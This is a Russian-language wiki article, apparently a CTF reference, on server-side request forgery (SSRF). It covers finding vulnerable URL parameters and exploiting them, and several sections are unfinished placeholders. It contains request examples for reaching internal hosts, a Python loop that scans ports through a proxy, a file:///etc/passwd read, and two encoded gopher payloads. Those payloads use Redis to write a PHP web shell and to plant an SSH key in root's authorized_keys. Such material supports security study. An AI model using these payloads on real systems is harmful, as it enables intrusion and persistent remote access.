Ssrf
SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.
Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию.
Содержание
Поиск
Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами.
Прокси
Самое типичное - возможность использования скрипта как веб-прокси.
Если вы анализируете непосредственно HTTP запросы, то может быть следующее:
POST /proxy.php HTTP/1.1 Host: coolserver.com url=http://ipwnedyourscript.org
Скачивание файлов
Всем известный пример - скачивание аватарки по http без проверки типа файла.
Но так же это происходит и при скачивании файлов любых форматов:
Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload). О них вы можете почитать в соответствующих статьях.
Данный случай рассматривается ТОЛЬКО в случае наличия фильтрации, не позволяющий запуск произвольного кода.
Эксплуатация
(что требуется для эксплуатации - что не должно фильтроваться)
Помощь при эксплуатации
Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием.
Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее. Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу.
Префикс http(s)
Разделим на возможности
1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов
GET /proxy.php?url=(http://)whitelisted.com Host: cooolserver.com
2. Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере).
GET /proxy.php?url=192.168.1.1 HTTP/1.1 Host: cooolserver.com
3. Сканирование доступных портов
Сделать это удобнее всего с помощью burpsuite intruder:
Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам:
HTTP:
GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1 Host: cooolserver.com
Python:
import requests
for x in range(1,65536):
r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) )
if r.text != '':print(x)
Perl
код на перле
C/C++
код на Си
Ruby
код на руби
Префикс file
file:// позволяет читать файлы из файловой системы
Например
file:///etc/passwd
будет считывать файл /etc/passwd
Префикс tftp
(обьяснение с примером)
Префикс gopher
Префикс требуется для общения по socket'ам.
Пример реализации - запрос gopher://127.0.0.1:8080/11234%250a6789 отошлет следующее:
1234\n 6789
Не забывайте, что \n нужно кодировать дважды (urlencode) - %250a, чтобы на сервер пришла строка с %0a которая впоследствии пойдет в http клиент.
Префикс dict
(обьяснение с примером)
Префикс rtsp
(обьяснение с примером)
(добавь еще префиксов)
Вектора атак
Чтение локальных файлов
Первый способ - file://<path> (выше пример был)
Второй способ - ftp?
Загрузка файлов
Если файл сохраняется под именем, который был на нашей введенной ссылке, то таким образом скорее всего возможно загрузить shell.
Для этого требуется отослать ссылку на .php или другие программные форматы.
Подключение к сервисам за фаерволом
(перечисляешь способы)
Сканирование портов
(перечисляешь способы + скрипты реализации)
Redis
Если открыт порт Redis (по-умолчанию это 6379), то при наличии прав мы можем создавать файлы с нужным содержимым.
Загрузка PHP шелла
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/var/www/html%250d%250aconfig%2520set%2520dbfilename%2520shell.php%250d%250aset%2520test%2520"<%253fphp%2520system($_GET['c']);%2520%253f>"%250d%250asave%250d%250aQUIT%250d%250a
Добавление SSH сертификата
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/root/.ssh%250d%250aconfig%2520set%2520dbfilename%2520authorized_keys%250d%250aset%2520test%2520"<содержимое публичного ключа id_rsa.pub>"%250d%250asave%250d%250aQUIT%250d%250a
Особенности ПО
Curl
(что поддерживает)
Requests
(что поддерживает)
(добавь свое - например робобраузеры)
Примеры из тасков
(примеры использования каких то векторов)